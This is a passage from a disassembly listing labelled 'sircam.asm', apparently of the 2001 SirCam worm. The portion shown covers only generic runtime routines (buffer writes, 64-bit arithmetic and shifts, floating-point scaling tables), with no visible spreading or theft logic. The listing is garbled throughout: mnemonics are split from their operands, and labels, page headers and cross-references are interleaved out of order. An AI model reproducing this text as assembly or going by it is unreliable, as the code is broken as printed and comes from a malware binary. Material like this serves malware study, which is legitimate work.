; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40512E:
push
mov
call
dec
jnz
retn
; DATA XREF: CODE:0040503F\030o
dword ptr [eax]
dword ptr [eax+4], 0D7B0h
j_CloseHandle
eax
loc_40268C
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_405144
proc near
push
push
mov
cmp
jnz
; CODE XREF: sub_403A60+22\030j
; sub_4051AF+16\031p ...
esi
edi
esi, edx
dword ptr [eax+4], 0D7B2h
short loc_40517F
loc_405151:
; CODE XREF: sub_405144+31\031j
; sub_405144+54\031j
mov
edi, [eax+14h]
add
edi, [eax+0Ch]
mov
edx, [eax+8]
sub
edx, [eax+0Ch]
cmp
edx, ecx
jg
short loc_405177
add
[eax+0Ch], edx
sub
ecx, edx
push
eax
push
ecx
mov
ecx, edx
repe movsb
call
dword ptr [eax+1Ch]
test
eax, eax
jnz
short loc_4051A6
pop
ecx
pop
eax
jmp
short loc_405151
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_405177:
; CODE XREF: sub_405144+1B\030j
add
[eax+0Ch], ecx
repe movsb
loc_40517C:
; CODE XREF: sub_405144+60\031j
sircam.asm
Fri Aug 10 12:42:44 2001
140
; sub_405144+69\031j
pop
edi
pop
esi
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40517F:
cmp
jnz
push
push
push
call
pop
pop
pop
cmp
jz
; CODE XREF: sub_405144+B\030j
eax, offset unk_41E214
short loc_40519A
ecx
edx
eax
sub_404FFE
eax
edx
ecx
dword ptr [eax+4], 0D7B2h
short loc_405151
loc_40519A:
; CODE XREF: sub_405144+40\030j
mov
eax, 69h
call
sub_40267C
jmp
short loc_40517C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4051A6:
sub_405144
; CODE XREF: sub_405144+2D\030j
call
pop
pop
jmp
endp
sub_40267C
ecx
eax
short loc_40517C
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4051AF
proc near
mov
; CODE XREF: sub_403A60+19\030p
; CODE:004051FF\031p ...
ecx, edx
loc_4051B1:
; CODE XREF: sub_4051AF+2B\031j
mov
edx, offset unk_41C060
cmp
ecx, 40h
jle
short loc_4051DC
sub
ecx, 40h
push
eax
push
ecx
mov
ecx, 40h
call
sub_405144
call
sub_4059F0
cmp
dword ptr [eax+4], 0
jnz
short loc_4051E5
pop
ecx
pop
eax
jmp
short loc_4051B1
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4051DC:
; CODE XREF: sub_4051AF+A\030j
test
ecx, ecx
jg
sub_405144
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4051E5:
sub_4051AF
; CODE XREF: sub_4051AF+27\030j
pop
pop
retn
endp
ecx
eax
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
141
xor
ecx, ecx
mov
cl, [edx]
inc
edx
jmp
sub_405144
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
push
ebx
xor
ebx, ebx
mov
bl, [edx]
sub
ecx, ebx
jle
short loc_405206
push
eax
push
edx
mov
edx, ecx
call
sub_4051AF
pop
edx
pop
eax
loc_405206:
; CODE XREF: CODE:004051F9\030j
mov
pop
inc
jmp
ecx, ebx
ebx
edx
sub_405144
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40520F
proc near
; CODE XREF: sub_403390+55\030p
; CODE:00409404\031p ...
edx, offset asc_41C0A0 ; "\r\n\213À"
ecx, 2
sub_405144
loc_404E91
sub_40520F
mov
mov
call
jmp
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
cmp
dword ptr [eax+4], 0D7B2h
jnz
short loc_40524A
loc_40522C:
; CODE XREF: CODE:00405248\031j
; CODE:00405261\031j
mov
ecx, [eax+0Ch]
cmp
ecx, [eax+8]
jge
short loc_40523D
add
ecx, [eax+14h]
mov
[ecx], dl
inc
dword ptr [eax+0Ch]
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40523D:
; CODE XREF: CODE:00405232\030j
push
eax
push
edx
call
dword ptr [eax+1Ch]
test
eax, eax
jnz
short loc_40526D
pop
edx
pop
eax
jmp
short loc_40522C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40524A:
cmp
jnz
push
push
call
pop
pop
cmp
jz
; CODE XREF: CODE:0040522A\030j
eax, offset unk_41E214
short loc_405263
edx
eax
sub_404FFE
eax
edx
dword ptr [eax+4], 0D7B2h
short loc_40522C
sircam.asm
Fri Aug 10 12:42:44 2001
142
loc_405263:
; CODE XREF: CODE:0040524F\030j
mov
eax, 69h
jmp
sub_40267C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40526D:
; CODE XREF: CODE:00405244\030j
call
sub_40267C
pop
edx
pop
eax
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
push
edx
lea
edx, [ecx-1]
call
sub_4051AF
mov
edx, esp
mov
ecx, 1
call
sub_405144
pop
edx
retn
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40528C
proc near
sub_40528C
xor
ecx, ecx
jmp
short $+2
push
esi
push
edi
mov
esi, eax
push
ecx
mov
edi, edx
or
ecx, 0FFFFFFFFh
mov
al, 0
repne scasb
not
ecx
dec
ecx
mov
edi, edx
pop
edx
sub
edx, ecx
mov
eax, esi
push
ecx
call
sub_4051AF
pop
ecx
mov
eax, esi
mov
edx, edi
pop
edi
pop
esi
jmp
sub_405144
endp
; CODE XREF: sub_403390+50\030p
; CODE:004093FF\031p
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4052BC
proc near
test
jl
jz
cmp
jge
mov
and
lea
fld
fmulp
; CODE XREF: sub_40AEB8+54\031p
; CODE:0040B105\031p
eax, eax
short loc_405308
short locret_405307
eax, 1400h
loc_40534C
edx, eax
edx, 1Fh
edx, [edx+edx*4]
ds:tbyte_405360[edx*2]
st(1), st
sircam.asm
Fri Aug 10 12:42:44 2001
143
shr
jz
mov
and
jz
lea
fld
fmulp
eax, 5
short locret_405307
edx, eax
edx, 0Fh
short loc_4052F6
edx, [edx+edx*4]
ds:tbyte_405496[edx*2]
st(1), st
shr
jz
lea
fld
fmulp
; CODE XREF: sub_4052BC+2C\030j
eax, 4
short locret_405307
eax, [eax+eax*4]
ds:tbyte_40552C[eax*2]
st(1), st
loc_4052F6:
locret_405307:
; CODE XREF: sub_4052BC+4\030j
; sub_4052BC+25\030j ...
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_405308:
neg
cmp
jge
mov
and
lea
fld
fdivp
shr
jz
mov
and
jz
lea
fld
fdivp
; CODE XREF: sub_4052BC+2\030j
eax
eax, 1400h
short loc_405353
edx, eax
edx, 1Fh
edx, [edx+edx*4]
ds:tbyte_405360[edx*2]
st(1), st
eax, 5
short locret_405307
edx, eax
edx, 0Fh
short loc_40533A
edx, [edx+edx*4]
ds:tbyte_405496[edx*2]
st(1), st
loc_40533A:
; CODE XREF: sub_4052BC+70\030j
shr
eax, 4
jz
short locret_405307
lea
eax, [eax+eax*4]
fld
ds:tbyte_40552C[eax*2]
fdivp
st(1), st
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40534C:
; CODE XREF: sub_4052BC+B\030j
fld
ds:tbyte_405356
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_405353:
sub_4052BC
; CODE XREF: sub_4052BC+53\030j
fldz
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
tbyte_405356
dt 1.1897314953572317651e4932 ; DATA XREF: sub_4052BC+90\030r
tbyte_405360
dt 1.0
; DATA XREF: sub_4052BC+19\030r
; sub_4052BC+5D\030r
dd 0, 0A0000000h, 4002h, 0, 4005C800h, 0, 0FA000000h, 4008h
dd 0, 400C9C40h, 0, 0C3500000h, 400Fh, 0, 4012F424h, 0
dd 98968000h, 4016h, 20000000h, 4019BEBCh, 0, 0EE6B2800h
dd 401Ch, 0F9000000h, 40209502h, 0, 0BA43B740h, 4023h
dd 0A5100000h, 4026E8D4h, 0, 9184E72Ah, 402Ah, 20F48000h
dd 402DB5E6h, 0A0000000h, 0E35FA931h, 4030h, 0C9BF0400h
dd 40348E1Bh, 0C5000000h, 0B1A2BC2Eh, 4037h, 6B3A7640h
dd 403ADE0Bh, 89E80000h, 8AC72304h, 403Eh, 0EBC5AC62h
sircam.asm
Fri Aug 10 12:42:44 2001
tbyte_405496
dd
dd
dd
dd
dd
dd
dt
tbyte_40552C
dd
dd
dd
dd
dd
dd
dd
dt
dd
dd
dd
dd
dd
db
144
4041AD78h, 177A8000h, 0D8D726B7h, 90004044h, 78326EACh
40488786h, 0A57B400h, 0A968163Fh, 0A100404Bh, 1BCECCEDh
404ED3C2h, 401484A0h, 84595161h, 0A5C84052h, 0A5B99019h
4055A56Fh, 0F4200F3Ah, 0CECB8F27h, 9844058h, 3978F894h
405C813Fh, 36B90BE5h, 0A18F07D7h, 4EDF405Fh, 0C9CD0467h
4062C9F2h
9.9999999999999999998e30 ; DATA XREF: sub_4052BC+31\030r
; sub_4052BC+75\030r
2B70B59Eh, 9DC5ADA8h, 0A6D54069h, 1F49FFCFh, 40D3C278h
0C59B14A3h, 0EFB3AB16h, 8CE0413Dh, 47C980E9h, 41A893BAh
7FE617AAh, 0B616A12Bh, 556B4212h, 0F78D3927h, 427CE070h
0E33CC930h, 8A5296FFh, 0DE8E42E7h, 0EBFB9DF9h, 4351AA7Eh
5C6A2F8Ch, 0D226FC19h, 0E37643BBh, 2F29F2CCh, 44268184h
0DB900AD2h, 9FA42700h, 0AA174490h, 0E310AEF8h, 44FAC4C5h
0E9B09C59h, 0F28A9C07h, 0F3D44564h, 4AE1EBF7h, 45CF957Ah
9.9999999999999999996e479 ; DATA XREF: sub_4052BC+42\030r
; sub_4052BC+86\030r
0A60E91C7h, 0E319A0AEh, 0C1746A3h, 75868175h, 4D48C976h
3993A7E4h, 0B2B8353Bh, 5DE553EDh, 3B5DC53Dh, 5A929E8Bh
20A1F0A6h, 8CA554C0h, 5A8B6137h, 5D25D88Bh, 67DBF989h
0BF27F3F8h, 0DD5DC8A2h, 979B6E80h, 52028A20h, 7525C460h
6ED559F0h, 0AE351162h
0CAh, 7Bh
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_405590
proc near
arg_0
arg_4
= dword ptr
= dword ptr
sub_405590
push
push
mov
mul
mov
mov
mul
add
mov
mul
add
pop
pop
retn
endp
; CODE XREF: sub_40745C+43\031p
; sub_40745C+5D\031p ...
0Ch
10h
edx
eax
eax, [esp+arg_4]
dword ptr [esp+0]
ecx, eax
eax, [esp+4]
[esp+arg_0]
ecx, eax
eax, [esp+0]
[esp+arg_0]
edx, ecx
ecx
ecx
8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
push
edx
push
eax
mov
eax, [esp+10h]
mul
dword ptr [esp]
mov
ecx, eax
mov
eax, [esp+4]
mul
dword ptr [esp+0Ch]
add
ecx, eax
mov
eax, [esp]
mul
dword ptr [esp+0Ch]
add
edx, ecx
pop
ecx
pop
ecx
retn
8
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4055D6
proc near
; CODE XREF: CODE:00405676\031p
; sub_418C48+CA\031p ...
sircam.asm
arg_0
arg_4
Fri Aug 10 12:42:44 2001
= dword ptr
= dword ptr
145
14h
18h
push
push
push
push
xor
mov
mov
or
jnz
or
jz
or
jz
ebp
ebx
esi
edi
edi, edi
ebx, [esp+arg_0]
ecx, [esp+arg_4]
ecx, ecx
short loc_4055F0
edx, edx
short loc_405648
ebx, ebx
short loc_405648
or
jns
neg
neg
sbb
or
edx, edx
short loc_4055FE
edx
eax
edx, 0
edi, 1
or
jns
neg
neg
sbb
xor
ecx, ecx
short loc_40560C
ecx
ebx
ecx, 0
edi, 1
mov
mov
push
xor
xor
ebp,
ecx,
edi
edi,
esi,
shl
rcl
rcl
rcl
cmp
jb
ja
cmp
jb
eax, 1
edx, 1
esi, 1
edi, 1
edi, ebp
short loc_40562F
short loc_40562A
esi, ebx
short loc_40562F
sub
sbb
inc
esi, ebx
edi, ebp
eax
loc_4055F0:
; CODE XREF: sub_4055D6+10\030j
loc_4055FE:
; CODE XREF: sub_4055D6+1C\030j
loc_40560C:
; CODE XREF: sub_4055D6+2A\030j
ecx
40h
edi
esi
loc_405618:
; CODE XREF: sub_4055D6+59\031j
loc_40562A:
; CODE XREF: sub_4055D6+4E\030j
loc_40562F:
; CODE XREF: sub_4055D6+4C\030j
; sub_4055D6+52\030j
loop
pop
test
jz
neg
neg
sbb
loc_405618
ebx
ebx, 1
short loc_405641
edx
eax
edx, 0
loc_405641:
; CODE XREF: sub_4055D6+62\030j
; sub_4055D6+76\031j
pop
edi
sircam.asm
Fri Aug 10 12:42:44 2001
146
pop
esi
pop
ebx
pop
ebp
retn
8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_405648:
sub_4055D6
; CODE XREF: sub_4055D6+14\030j
; sub_4055D6+18\030j
div
xor
jmp
endp
ebx
edx, edx
short loc_405641
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
push
esi
mov
esi, [esp+0Ch]
and
esi, [esp+8]
cmp
esi, 0FFFFFFFFh
jnz
short loc_40566D
mov
esi, eax
or
esi, edx
cmp
esi, 80000000h
jnz
short loc_40566D
mov
eax, esi
pop
esi
dec
eax
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40566D:
; CODE XREF: CODE:0040565A\030j
; CODE:00405666\030j
pop
push
push
call
and
retn
esi
dword ptr [esp+8]
dword ptr [esp+8]
sub_4055D6
eax, eax
8
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_405680
proc near
arg_0
arg_4
= dword ptr
= dword ptr
; CODE XREF: sub_4078EB+2F\031p
14h
18h
push
push
push
push
mov
mov
or
jnz
or
jz
or
jz
ebp
ebx
esi
edi
ebx, [esp+arg_0]
ecx, [esp+arg_4]
ecx, ecx
short loc_405698
edx, edx
short loc_4056C3
ebx, ebx
short loc_4056C3
mov
mov
xor
xor
ebp,
ecx,
edi,
esi,
ecx
40h
edi
esi
shl
rcl
rcl
rcl
eax,
edx,
esi,
edi,
1
1
1
1
loc_405698:
; CODE XREF: sub_405680+E\030j
loc_4056A3:
; CODE XREF: sub_405680+3A\031j
sircam.asm
Fri Aug 10 12:42:44 2001
cmp
jb
ja
cmp
jb
edi, ebp
short loc_4056BA
short loc_4056B5
esi, ebx
short loc_4056BA
sub
sbb
inc
esi, ebx
edi, ebp
eax
loc_4056B5:
147
; CODE XREF: sub_405680+2F\030j
loc_4056BA:
; CODE XREF: sub_405680+2D\030j
; sub_405680+33\030j
loop
loc_4056A3
loc_4056BC:
; CODE XREF: sub_405680+47\031j
pop
edi
pop
esi
pop
ebx
pop
ebp
retn
8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4056C3:
sub_405680
; CODE XREF: sub_405680+12\030j
; sub_405680+16\030j
div
xor
jmp
endp
ebx
edx, edx
short loc_4056BC
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4056C9
proc near
arg_0
arg_4
= dword ptr
= dword ptr
; CODE XREF: CODE:0040576B\031p
14h
18h
push
push
push
push
xor
mov
mov
or
jnz
or
jz
or
jz
ebp
ebx
esi
edi
edi, edi
ebx, [esp+arg_0]
ecx, [esp+arg_4]
ecx, ecx
short loc_4056E3
edx, edx
short loc_40573C
ebx, ebx
short loc_40573C
or
jns
neg
neg
sbb
or
edx, edx
short loc_4056F1
edx
eax
edx, 0
edi, 1
or
jns
neg
neg
sbb
ecx, ecx
short loc_4056FC
ecx
ebx
ecx, 0
mov
ebp, ecx
loc_4056E3:
; CODE XREF: sub_4056C9+10\030j
loc_4056F1:
; CODE XREF: sub_4056C9+1C\030j
loc_4056FC:
; CODE XREF: sub_4056C9+2A\030j
sircam.asm
Fri Aug 10 12:42:44 2001
mov
push
xor
xor
ecx, 40h
edi
edi, edi
esi, esi
shl
rcl
rcl
rcl
cmp
jb
ja
cmp
jb
eax, 1
edx, 1
esi, 1
edi, 1
edi, ebp
short loc_40571F
short loc_40571A
esi, ebx
short loc_40571F
sub
sbb
inc
esi, ebx
edi, ebp
eax
loc_405708:
148
; CODE XREF: sub_4056C9+56\031j
loc_40571A:
; CODE XREF: sub_4056C9+4B\030j
loc_40571F:
; CODE XREF: sub_4056C9+49\030j
; sub_4056C9+4F\030j
loop
mov
mov
pop
test
jz
neg
neg
sbb
loc_405708
eax, esi
edx, edi
ebx
ebx, 1
short loc_405735
edx
eax
edx, 0
loc_405735:
; CODE XREF: sub_4056C9+63\030j
; sub_4056C9+78\031j
pop
edi
pop
esi
pop
ebx
pop
ebp
retn
8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40573C:
sub_4056C9
; CODE XREF: sub_4056C9+14\030j
; sub_4056C9+18\030j
div
xchg
xor
jmp
endp
ebx
eax, edx
edx, edx
short loc_405735
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
push
esi
mov
esi, [esp+0Ch]
and
esi, [esp+8]
cmp
esi, 0FFFFFFFFh
jnz
short loc_405762
mov
esi, eax
or
esi, edx
cmp
esi, 80000000h
jnz
short loc_405762
mov
eax, esi
pop
esi
dec
eax
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_405762:
; CODE XREF: CODE:0040574F\030j
; CODE:0040575B\030j
pop
push
esi
dword ptr [esp+8]
sircam.asm
Fri Aug 10 12:42:44 2001
push
call
and
retn
149
dword ptr [esp+8]
sub_4056C9
eax, eax
8
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_405775
proc near
arg_0
arg_4
= dword ptr
= dword ptr
; CODE XREF: sub_4078EB+11\031p
14h
18h
push
push
push
push
mov
mov
or
jnz
or
jz
or
jz
ebp
ebx
esi
edi
ebx, [esp+arg_0]
ecx, [esp+arg_4]
ecx, ecx
short loc_40578D
edx, edx
short loc_4057BC
ebx, ebx
short loc_4057BC
mov
mov
xor
xor
ebp,
ecx,
edi,
esi,
shl
rcl
rcl
rcl
cmp
jb
ja
cmp
jb
eax, 1
edx, 1
esi, 1
edi, 1
edi, ebp
short loc_4057AF
short loc_4057AA
esi, ebx
short loc_4057AF
sub
sbb
inc
esi, ebx
edi, ebp
eax
loc_40578D:
; CODE XREF: sub_405775+E\030j
ecx
40h
edi
esi
loc_405798:
; CODE XREF: sub_405775+3A\031j
loc_4057AA:
; CODE XREF: sub_405775+2F\030j
loc_4057AF:
; CODE XREF: sub_405775+2D\030j
; sub_405775+33\030j
loop
mov
mov
loc_405798
eax, esi
edx, edi
loc_4057B5:
; CODE XREF: sub_405775+4C\031j
pop
edi
pop
esi
pop
ebx
pop
ebp
retn
8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4057BC:
sub_405775
; CODE XREF: sub_405775+12\030j
; sub_405775+16\030j
div
xchg
xor
jmp
endp
ebx
eax, edx
edx, edx
short loc_4057B5
sircam.asm
Fri Aug 10 12:42:44 2001
150
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
cmp
cl, 20h
jl
short loc_4057D9
cmp
cl, 40h
jl
short loc_4057D2
xor
edx, edx
xor
eax, eax
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4057D2:
; CODE XREF: CODE:004057CB\030j
mov
edx, eax
shl
edx, cl
xor
eax, eax
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4057D9:
; CODE XREF: CODE:004057C6\030j
shld
edx, eax, cl
shl
eax, cl
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
cmp
cl, 20h
jl
short loc_4057F5
cmp
cl, 40h
jl
short loc_4057EF
sar
edx, 1Fh
mov
eax, edx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4057EF:
